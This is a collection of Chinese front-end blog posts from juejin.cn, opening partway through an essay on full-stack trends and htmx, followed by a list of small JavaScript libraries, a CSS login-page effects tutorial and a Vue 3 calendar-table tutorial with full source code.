React 的 Next.js 虽然不在首位,但是服务端/全栈相关的内容就占了 4 个,其中包含第 10 名的无服务栈。另外值得注意的是,React 这边还有服务端组件的概念。Shadcn/ui 能占到第一位,因为它基于无头 UI Radix 实现的,在服务端组件也能运用。所以,服务端/全栈在 React 中占的比重相当大的。
这样看来,前端往服务端进发已经成为一个必然趋势。
htmx 框架的倒退
再看看框架这边,htmx 在星趋势里,排行第二位,2023增长的星星数为 15.6K,与第一位的 React 颇为相近。
而 htmx 也是今年讨论度最高的。
在我经历过前后端不分离的阶段中,使用 jsp 生成前端页面,js 更多是页面炫技的工具。然后在 jQuery + Ajax 得到广泛应用之后,才真正有前后端分离的项目。
htmx 的出现,不了解的人,可能觉得是倒退到 Java + jQuery + Ajax 的前后端分离状态。但是,写过例子之后,我发现,它其实是倒退到了前后端不分离的阶段。
用 java 也好,世界上最好的 php 也好,或者用现在的 nodejs 服务,都能接入 htmx。你只要在服务端返回 html 即可。
/** nodejs fastity 写的一个例子 **/
import fastify from 'fastify'
import fastifyHtml from 'fastify-html'
import formbody from '@fastify/formbody';
const app = fastify()
await app.register(fastifyHtml)
await app.register(formbody);
// 省略首页引入 htmx
// 首页的模板,提供一个按钮,点击后请求 html,然后将请求返回的内容渲染到 parent-div 中
app.get('/', async (req, reply) => {
const name = req.query.name || 'World'
return reply.html`
Hello ${name}
`, reply
})
// 请求返回 html
app.post('/clicked', (req, reply) => {
reply.html`Clicked!
`;
})
await app.listen({ port: 3000 })
也许大家会觉得离谱,但是很显然,事情已经开始发生了变化,后端也来抢前端饭碗了。
htmx 在 github 上已经有不少跟随者,能搜出前端代码已有不少,前三就有基于 Python 语言的 Django 服务端框架。
jQuery 见势头不错,今年也更新了 4.0 的 beta 版本,对现代浏览器提供了更好的支持。这一切似乎为旧架构重回大众视野做好了准备。
企业角度
站在企业角度来看,一个人把前后端都干了不是更好吗?
的确如此。前后端一把撸更符合企业的利益。国外的小公司更以全栈作为首选项。
也许有人觉得国情不同,但是在我接触的前端群里,这两年都有人在群里说他们公司前后端分离的情况。
还有的人还喜欢大厂那一套,注意分工合作,但是其实大厂里遗留项目也不少,有的甚至是 php;还有新的实验项目,如果能投入最少人力,快速试错,这种全栈的框架自然也是最优选择。
我并不是说,前后端分离不值得。但是目前已经进入 AI 赛道,企业对后台系统的开发,并不愿意投入更多了。能用就行已经成为当前企业的目标,自然我们也应该跟着变化。
全栈破局
再说说前端已死的论调。我恰恰觉得这是最好做改变的时机。
在浏览器对新技术支持稳定,UI 框架趋同,UI 组件库稳定之后,前端不再需要为浏览器不兼容素手无策了,不再需要苦哈哈地为1个像素争辩不停了,也不再需要为产品莫名其妙的交互焦头烂额了。
这并不意味着前端已死,反而可能我们某个阶段的任务完成了,后面有更重要的任务交给我们。也许,全栈就是一个破局。
在云服务/云原生如此普遍的情况下,语言不再是企业开发考虑的主要因素,这也为 nodejs 全栈铺平了道路。
前端一直拣最苦最脏的话来做,从 UI 中拿到了切图的工作,然后接手了浏览器兼容的活,后来又从后端拿到了渲染页面的工作。
那我们为何不再进一步,主动把 API 开发的工作也拿过来?
来源:juejin.cn/post/7340603873604599843
8个小而美的前端库
前端有很多小而美的库,接入成本很低又能满足日常开发需求,同时无论是 npm 方式引入还是直接复制到本地使用都可以。
2024 年推荐以下小而美的库。
radash
实用的工具库,相比与 lodash,更加面向现代,提供更多新功能(tryit,retry 等函数),源码可读性高,如果不想安装它,大部分函数可以直接复制到本地使用。
use-debounce
React Hook Debouce 库,让你不再为使用防抖烦恼。库的特点:体积小 < 1 Kb、与 underscore / lodash impl 兼容 - 一次学习,随处使用、服务器渲染友好。
timeago.js
格式化日期时间库,比如:“3 hours ago”,支持多语言,仅 2Kb 大小。同时提供了 React 版本 timeago-react。
timeage.format(1544666010224, 'zh_CN') // 输出 “5 年前”
timeage.format(Date.now() - 1000, 'zh_CN') // 输出 “刚刚”
timeage.format(Date.now() - 1000 * 60 * 5, 'zh_CN') // 输出 “5 分钟前”
react-use
实用 Hook 大合集 - 内容丰富,从跟踪电池状态和地理位置,到设置收藏夹、防抖和播放视频,无所不包。
dayjs
Day.js 是一个简约的 JavaScript 库,仅 2 Kb 大小。它可以使用基本兼容 Moment.js,为你提供日期的解析、处理和显示,支持多语言能力。
filesize
filesize.js 提供了一种简单方法,便于从数字(浮点数或整数)或字符串转换成可读性高的文件大小,filesize.min.js 大小为 2.94 kb。
import {filesize} from "filesize";
filesize(265318, {standard: "jedec"}); // "259.1 KB"
driver.js
driver.js 是一款用原生 js 实现的页面引导库,上手非常简单,体积在 gzip 压缩下仅仅 5kb。
@formkit/drag-and-drop
FormKit DnD 是一个小型拖拽库,它简单、灵活、与框架无关,压缩后只有 4Kb 左右,设计理念为数据优先。
小结
前端小而美的库使用起来一般都比较顺手,欢迎在评论区推荐你们开发中的使用小而美的库。
来源:juejin.cn/post/7350140676615798824
登录页面一些有趣的css效果
前言
今天无意看到一个登录页,input
框focus
时placeholder
上移变成label
的效果,无聊没事干就想着自己来实现一下,登录页面能做文章的,普遍的就是按钮动画,title
的动画,以及input
的动画,这是最终的效果图(如下), 同时附上预览页以及实现源码。
title 的动画实现
首先描述一下大概的实现效果, 我们需要一个镂空的一段白底文字,在鼠标移入时给一个逐步点亮的效果。
文字镂空我们可以使用text-stroke
, 逐步点亮只需要使用filter
即可
text-stroke
text-stroke
属性用于在文本的边缘周围添加描边效果,即文本字符的外部轮廓。这可以用于创建具有描边的文本效果。text-stroke
属性通常与-webkit-text-stroke
前缀一起使用,因为它目前主要在WebKit浏览器(如Chrome和Safari)中支持。
text-stroke
属性有两个主要值:
- 宽度(width) :指定描边的宽度,可以是像素值、百分比值或其他长度单位。
- 颜色(color) :指定描边的颜色,可以使用颜色名称、十六进制值、RGB值等。
filter
filter
是CSS属性,用于将图像或元素的视觉效果进行处理,例如模糊、对比度调整、饱和度调整等。它可以应用于元素的背景图像、文本或任何具有视觉内容的元素。
filter
属性的值是一个或多个滤镜函数,这些函数以空格分隔。以下是一些常见的滤镜函数和示例:
- 模糊(blur) : 通过
blur
函数可以实现模糊效果。模糊的值可以是像素值或其他长度单位。
.blurred-image {
filter: blur(5px);
}
- 对比度(contrast) : 通过
contrast
函数可以调整对比度。值为百分比,1表示原始对比度。
.high-contrast-text {
filter: contrast(150%);
}
- 饱和度(saturate) : 通过
saturate
函数可以调整饱和度。值为百分比,1表示原始饱和度。
.desaturated-image {
filter: saturate(50%);
}
- 反色(invert) : 通过
invert
函数可以实现反色效果。值为百分比,1表示完全反色。
.inverted-text {
filter: invert(100%);
}
- 灰度(grayscale) : 通过
grayscale
函数可以将图像或元素转换为灰度图像。值为百分比,1表示完全灰度。
.gray-text {
filter: grayscale(70%);
}
- 透明度(opacity) : 通过
opacity
函数可以调整元素的透明度。值为0到1之间的数字,0表示完全透明,1表示完全不透明。
.semi-transparent-box {
filter: opacity(0.7);
}
- 阴影(drop-shadow) :用于在图像、文本或其他元素周围添加阴影效果。这个属性在 CSS3 中引入,通常用于创建阴影效果,使元素看起来浮在页面上或增加深度感
drop-shadow(<offset-x> <offset-y> <blur-radius>? <spread-radius>? <color>?)
各个值的含义如下:
<offset-x>
: 阴影在 X 轴上的偏移距离。<offset-y>
: 阴影在 Y 轴上的偏移距离。<blur-radius>
(可选): 阴影的模糊半径。默认值为 0。<spread-radius>
(可选): 阴影的扩散半径。默认值为 0。<color>
(可选): 阴影的颜色。默认值为当前文本颜色。
filter
属性的支持程度因浏览器而异,因此在使用时应谨慎考虑浏览器兼容性。
实现移入标题点亮的效果
想实现移入标题点亮的效果我们首先需要两个通过定位重叠的span
元素,一个做镂空用于展示,另一个作为
hover
时覆盖掉镂空元素,并通过filter: drop-shadow
实现光影效果,需要注意的是这里需要使用inline
元素实现效果。
input 的动画实现
input
的效果比较简单,只需要在focus
时span(placeholder)
上移变成span(label)
同时给input
的border-bottom
做一个底色的延伸,效果确定了接着就看看实现思路。
input placeholder 作为 label
使用div
作为容器包裹input
和span
, span
首先绝对定位到框内,伪装为placeholder
, 当input
状态为focus
提高span
的top
值,即可伪装成label
, 这里有两个问题是:
- 当用户输入了值的时候,
span
并不需要恢复为之前的top
值, 这里我们使用css
或者js
去判断都可以,js
就是拿到输入框的值,这里不多做赘述,css
有个比较巧妙的做法, 给input required
属性值设置为required
, 这样可以使用css:valid
伪类去判断input
是否有值。 - 由于span层级高于input,当点击span时无法触发input的聚焦,这个问题我们可以使用
pointer-events: none;
来解决。pointer-events
是一个CSS属性,用于控制元素是否响应用户的指针事件(例如鼠标点击、悬停、触摸等)。这个属性对于控制元素的可交互性和可点击性非常有用。
pointer-events
具有以下几个可能的值:
- auto(默认值):元素会按照其正常行为响应用户指针事件。这是默认行为。
- none:元素不会响应用户的指针事件,就好像它不存在一样。用户无法与它交互。
- visiblePainted:元素在绘制区域上响应指针事件,但不在其透明区域上响应。这使得元素的透明部分不会响应事件,而其他部分会。
- visibleFill:元素在其填充区域上响应指针事件,但不在边框区域上响应。
- visibleStroke:元素在其边框区域上响应指针事件,但不在填充区域上响应。
- painted:元素会在其绘制区域上响应指针事件,包括填充、边框和透明区域。
- fill:元素在其填充区域上响应指针事件,但不在边框区域上响应。
- stroke:元素在其边框区域上响应指针事件,但不在填充区域上响应。
pointer-events
属性非常有用,特别是在创建交互性复杂的用户界面时,可以通过它来控制元素的响应区域。例如,你可以使用它来创建自定义的点击区域,而不仅仅是元素的边界。它还可以与其他CSS属性和JavaScript事件处理程序结合使用,以创建特定的交互效果。
input border bottom 延伸展开效果
效果比较简单,input被聚焦的时候,一个紫色的边从中间延伸覆盖白色的底边即可。 在使用一个span
作为底部的边, 初始不可见, focus
时从中间向两边延伸直至充满, 唯一头痛的就是怎么从中间向两边延伸,这里可以使用transform
变形,首先使用transform: scaleX(0);
达到不可见的效果, 然后设置变形原点为中间transform-origin: center;
,这样效果就可以实现了
input 的动画实现效果
按钮的动画实现
关于按钮的动画很多,我们这里就实现一个移入的散花效果,移入时发散出一些星星,这里需要使用到动画去实现了,首先通过伪类创建一些周边元素,这里需要用到 background-image(radial-gradient)
background-image(radial-gradient)
background-image
属性用于设置元素的背景图像,而 radial-gradient
是一种 CSS 渐变类型,可用于创建径向渐变背景。这种径向渐变背景通常以一个中心点为基础,然后颜色渐变向外扩展,形成一种放射状的效果。
radial-gradient
的语法如下:
background-image: radial-gradient([shape] [size] at [position], color-stop1, color-stop2, ...);
[shape]
: 可选,指定渐变的形状。常用的值包括 "ellipse"(椭圆)和 "circle"(圆形)。[size]
: 可选,指定渐变的大小。可以是长度值或百分比值。at [position]
: 可选,指定渐变的中心点位置。color-stopX
: 渐变的颜色停止点,可以是颜色值、百分比值或长度值。
按钮移入动画效果实现
结尾
css 能实现的效果越来越多了,遇到有趣的效果,可以自己想想实现方式以及动手实现一下,思路毕竟是思路,具体实现起来说不定会遇到什么坑,逐步解决问题带来的成就感满足感还是很强的。
来源:juejin.cn/post/7294908459002331171
日历表格的制作,我竟然选择了这样子来实现...
前言
最近有个日历表格的需求,具体效果如下所示,鼠标经过时表格还有一个十字高亮的效果,在拿到这个设计图的时候,就在想应该用什么来实现,由于我所在的项目用的是vue3 + element
,所以我第一时间想到的就是饿了么里面的表格组件,但是经过一番调式之后,发现在饿了么表格的基础上想要调整我要的样式效果太复杂太麻烦了,所以我决定用原生的div循环来实现!
第一步 初步渲染表格
由于表格的表头是固定的,我们可以先渲染出来
<script setup lang="ts">
const tableFileds = Array.from({ length: 31 }, (_, i) =>
String(i + 1).padStart(2, '0')
)
</script>
<template>
<div class="table">
<div class="tabble-box">
<div class="table-node">
<div class="table-item table-header">
<div class="table-item-content diagonal-cell">
<span class="top-content">日</span>
<span class="bottom-content">月</span>
</div>
<div
class="table-item-content"
v-for="(item, _index) in tableFileds"
:key="item"
:style="{
background: '#EFF5FF'
}"
>
{{ item }}
</div>
</div>
</div>
</div>
</div>
</template>
<style lang="less" scoped>
.table {
flex: 1;
display: flex;
flex-direction: column;
background-color: #fff;
padding: 1.8519vh 0.83vw 2.1296vh 1.09vw;
.tabble-box {
display: flex;
flex: 1;
box-sizing: border-box;
overflow: hidden;
color: #666666;
.table-node {
display: flex;
flex-direction: column;
flex: 1;
.table-header {
.table-item-content {
background-color: #eff5ff;
}
.diagonal-cell {
position: relative; /* 使伪元素相对于此单元格定位 */
padding-bottom: 8px; /* 为对角线下方留出空间以显示内容 */
width: 4.64vw !important;
&::before {
content: ''; /* 必须有内容才能显示伪元素 */
position: absolute;
top: 0;
left: 1px;
width: 5.16vw;
right: 0;
height: 1px; /* 对角线的高度 */
background-color: #e8e8e8; /* 对角线的颜色,可自定义 */
transform-origin: top left;
transform: rotate(30.5deg); /* 斜切角度,可微调 */
}
.top-content {
position: absolute;
top: 0.2778vh;
left: 2.67vw;
font-size: 0.83vw;
}
.bottom-content {
position: absolute;
top: 2.2222vh;
left: 0.83vw;
font-size: 0.83vw;
}
}
}
.table-item {
display: flex;
.table-item-content:first-child {
width: 4.64vw;
padding-top: 1.9444vh;
padding-bottom: 1.2037vh;
}
.table-item-content {
display: flex;
align-items: center;
justify-content: center;
box-sizing: border-box;
// width: calc((100% - 9.53vw) / 15);
padding: 0.1vw;
text-align: center;
font-size: 0.78vw;
border-top: 0.05vw solid #eeeeee;
border-right: 0.05vw solid #eeeeee;
width: 2.48vw;
// flex-grow: 1
}
}
.table-header {
.table-item-content {
padding-top: 1.9444vh;
padding-bottom: 1.5741vh;
}
}
}
}
}
看一下页面效果:
表格的表头初步完成!
第二步 确认接口返回的数据格式
这是接口返回的格式数据 就例如第一个对象代表着3月9号有数据
{
"3": {
"9": 1
},
"4": {
"12": 2
},
"5": {
"11": 1,
"12": 2,
"21": 1
},
"6": {
"6": 5,
"8": 1,
"9": 2,
"10": 1,
"12": 2,
"17": 1,
"20": 1
},
"7": {
"1": 8,
"4": 1,
"7": 1,
"6": 1,
"13": 1,
"22": 1,
"25": 1,
"26": 1,
"27": 1,
"29": 6,
"30": 1
},
"8": {
"1": 1,
"2": 2,
"7": 1,
"20": 1,
"24": 1,
"27": 1,
"31": 1
},
"9": {
"15": 1,
"17": 9,
"21": 2
},
"10": {
"23": 1
}
}
接着我们需要对返回的数据做处理,由于表格的表头已经渲染出来,这意味着表格的每一列都有了,接下来我们就需要渲染表格的每一行与其对应就可以了.十二个月份我们需要十二行,同时每一行的第一个单元格表示的是月份,那我们可以定义一个月份的数据,然后再根据接口数据做处理,返回一个带有对应月份数据的数组.
代码如下:
const tableDataList = [
'一月',
'二月',
'三月',
'四月',
'五月',
'六月',
'七月',
'八月',
'九月',
'十月',
'十一月',
'十二月'
]
// 把接口数据转换为对应的月份数组对象
const parseData = (data: any) => {
const parsedData = new Array(12).fill({}) // 初始化一个包含12个空对象的数组
console.log('parsedData', parsedData)
for (let month = 1; month <= 12; month++) {
// 确保每次循环创建一个新的空对象
parsedData[month - 1] = {} // 从0开始索引
if (data[month]) {
Object.entries(data[month]).forEach(([day, value]) => {
parsedData[month - 1][parseInt(day)] = value
})
}
}
return parsedData
}
const tableData = ref<any[]>([])
onMounted(() => {
tableData.value = parseData(data)
console.log('tableData.value', tableData.value)
})
我们可以看一下控制台,此时的tableData的数据格式是怎么样的
接下来就可以开始渲染表格的内容了,给有数据的单元格做个高亮,同时固定31天,所以可以先遍历出每一行31个单元格出来
<div class="table-list">
<div
class="table-item"
v-for="(item, rowIndex) in tableData"
:key="item"
>
<div
class="table-item-content"
:key="item"
:style="{
background: '#EFF5FF'
}"
>
{{ tableDataList[rowIndex] }}
</div>
<div
class="table-item-content"
:data-col-index="index"
v-for="index in 31"
:key="rowIndex"
:style="{
background: item[index] ? '#6fa7ea' : ''
}"
>
<span v-if="item[index]" style="color: #fff">
{{ item[index] }}
</span>
<span v-else>0</span>
</div>
</div>
</div>
到这里基本就完成了,还差一个鼠标经过表格十字高亮的需求
我们可以给每个单元格加上鼠标的移入移出事件,移入事件函数传两个参数,一个就是行一个就是列,行可以从一开始的tableData那里拿到,列就是遍历31长度的当前项;这样子就可以拿到当前单元格的坐标,再封装一个辅助函数进行判断是否为当前单元格所在的行所在的列就可以了
高亮的时候记住判断的样式需要在之前的有数据高亮的样式的后面,这样子就不会被覆盖,可以保证有数据高亮的样式会一直存在,哪怕鼠标经过也不会被覆盖!
// 表格十字高亮
const highlightedRow = ref<any>()
const highlightedColumn = ref<any>()
const isCurrentCellHighlighted = (rowIndex: number, columnIndex: number) => {
return (
(highlightedRow.value !== null && highlightedRow.value === rowIndex) ||
(highlightedColumn.value !== null &&
highlightedColumn.value === columnIndex)
)
}
//鼠标移入
const onCellMouseOver = (rowIndex: any, columnIndex: any) => {
console.log('坐标', rowIndex, columnIndex)
highlightedRow.value = rowIndex
highlightedColumn.value = columnIndex
}
// 在鼠标移出事件(onCellMouseLeave)触发时,恢复所有单元格的原始背景色
const onCellMouseLeave = () => {
highlightedRow.value = null
highlightedColumn.value = null
}
<div
class="table-item-content"
:data-col-index="index"
v-for="index in 31"
:key="rowIndex"
:style="{
background: item[index]
? '#6fa7ea'
: isCurrentCellHighlighted(rowIndex + 1, index)
? '#EFF5FF'
: ''
}"
@mouseover="onCellMouseOver(rowIndex + 1, index)"
@mouseout="onCellMouseLeave"
>
<span v-if="item[index]" style="color: #fff">
{{ item[index] }}
</span>
<span v-else>0</span>
</div>
最终的效果就是:
以下就是完整的代码:
<script setup lang="ts">
import { onMounted, ref } from 'vue'
const tableFileds = Array.from({ length: 31 }, (_, i) =>
String(i + 1).padStart(2, '0')
)
const tableDataList = [
'一月',
'二月',
'三月',
'四月',
'五月',
'六月',
'七月',
'八月',
'九月',
'十月',
'十一月',
'十二月'
]
const parseData = (data: any) => {
const parsedData = new Array(12).fill({}) // 初始化一个包含12个空对象的数组
console.log('parsedData', parsedData)
for (let month = 1; month <= 12; month++) {
// 确保每次循环创建一个新的空对象
parsedData[month - 1] = {} // 从0开始索引
if (data[month]) {
Object.entries(data[month]).forEach(([day, value]) => {
parsedData[month - 1][parseInt(day)] = value
})
}
}
return parsedData
}
const data = {
'3': {
'9': 1
},
'4': {
'12': 2
},
'5': {
'11': 1,
'12': 2,
'21': 1
},
'6': {
'6': 5,
'8': 1,
'9': 2,
'10': 1,
'12': 2,
'17': 1,
'20': 1
},
'7': {
'1': 8,
'4': 1,
'7': 1,
'6': 1,
'13': 1,
'22': 1,
'25': 1,
'26': 1,
'27': 1,
'29': 6,
'30': 1
},
'8': {
'1': 1,
'2': 2,
'7': 1,
'20': 1,
'24': 1,
'27': 1,
'31': 1
},
'9': {
'15': 1,
'17': 9,
'21': 2
},
'10': {
'23': 1
}
}
const tableData = ref<any[]>([])
// 表格十字高亮
const highlightedRow = ref<any>()
const highlightedColumn = ref<any>()
const isCurrentCellHighlighted = (rowIndex: number, columnIndex: number) => {
return (
(highlightedRow.value !== null && highlightedRow.value === rowIndex) ||
(highlightedColumn.value !== null &&
highlightedColumn.value === columnIndex)
)
}
const onCellMouseOver = (rowIndex: any, columnIndex: any) => {
console.log('坐标', rowIndex, columnIndex)
highlightedRow.value = rowIndex
highlightedColumn.value = columnIndex
}
// 在鼠标移出事件(onCellMouseLeave)触发时,恢复所有单元格的原始背景色
const onCellMouseLeave = () => {
highlightedRow.value = null
highlightedColumn.value = null
}
onMounted(() => {
tableData.value = parseData(data)
console.log('tableData.value', tableData.value)
})
</script>
<template>
<div class="table">
<div class="tabble-box">
<div class="table-node">
<div class="table-item table-header">
<div class="table-item-content diagonal-cell">
<span class="top-content">日</span>
<span class="bottom-content">月</span>
</div>
<div
class="table-item-content"
v-for="(item, _index) in tableFileds"
:key="item"
:style="{
background: '#EFF5FF'
}"
>
{{ item }}
</div>
</div>
<div class="table-list">
<div
class="table-item"
v-for="(item, rowIndex) in tableData"
:key="item"
>
<div
class="table-item-content"
:key="item"
:style="{
background: '#EFF5FF'
}"
>
{{ tableDataList[rowIndex] }}
</div>
<div
class="table-item-content"
:data-col-index="index"
v-for="index in 31"
:key="rowIndex"
:style="{
background: item[index]
? '#6fa7ea'
: isCurrentCellHighlighted(rowIndex + 1, index)
? '#EFF5FF'
: ''
}"
@mouseover="onCellMouseOver(rowIndex + 1, index)"
@mouseout="onCellMouseLeave"
>
<span v-if="item[index]" style="color: #fff">
{{ item[index] }}
</span>
<span v-else>0</span>
</div>
</div>
</div>
</div>
</div>
</div>
</template>
<style lang="less" scoped>
.table {
flex: 1;
display: flex;
flex-direction: column;
background-color: #fff;
padding: 1.8519vh 0.83vw 2.1296vh 1.09vw;
.tabble-box {
display: flex;
flex: 1;
box-sizing: border-box;
overflow: hidden;
color: #666666;
.table-node {
display: flex;
flex-direction: column;
flex: 1;
.table-header {
.table-item-content {
background-color: #eff5ff;
}
.diagonal-cell {
position: relative; /* 使伪元素相对于此单元格定位 */
padding-bottom: 8px; /* 为对角线下方留出空间以显示内容 */
width: 4.64vw !important;
&::before {
content: ''; /* 必须有内容才能显示伪元素 */
position: absolute;
top: 0;
left: 1px;
width: 5.16vw;
right: 0;
height: 1px; /* 对角线的高度 */
background-color: #e8e8e8; /* 对角线的颜色,可自定义 */
transform-origin: top left;
transform: rotate(30.5deg); /* 斜切角度,可微调 */
}
.top-content {
position: absolute;
top: 0.2778vh;
left: 2.67vw;
font-size: 0.83vw;
}
.bottom-content {
position: absolute;
top: 2.2222vh;
left: 0.83vw;
font-size: 0.83vw;
}
}
}
.table-item {
display: flex;
.table-item-content:first-child {
width: 4.64vw;
padding-top: 1.9444vh;
padding-bottom: 1.2037vh;
}
.table-item-content {
display: flex;
align-items: center;
justify-content: center;
box-sizing: border-box;
// width: calc((100% - 9.53vw) / 15);
padding: 0.1vw;
text-align: center;
font-size: 0.78vw;
border-top: 0.05vw solid #eeeeee;
border-right: 0.05vw solid #eeeeee;
width: 2.48vw;
// flex-grow: 1
}
}
.table-header {
.table-item-content {
padding-top: 1.9444vh;
padding-bottom: 1.5741vh;
}
}
}
}
}
</style>
如果对你有帮助的话,欢迎点赞留言收藏🌹
来源:juejin.cn/post/7413311432971141160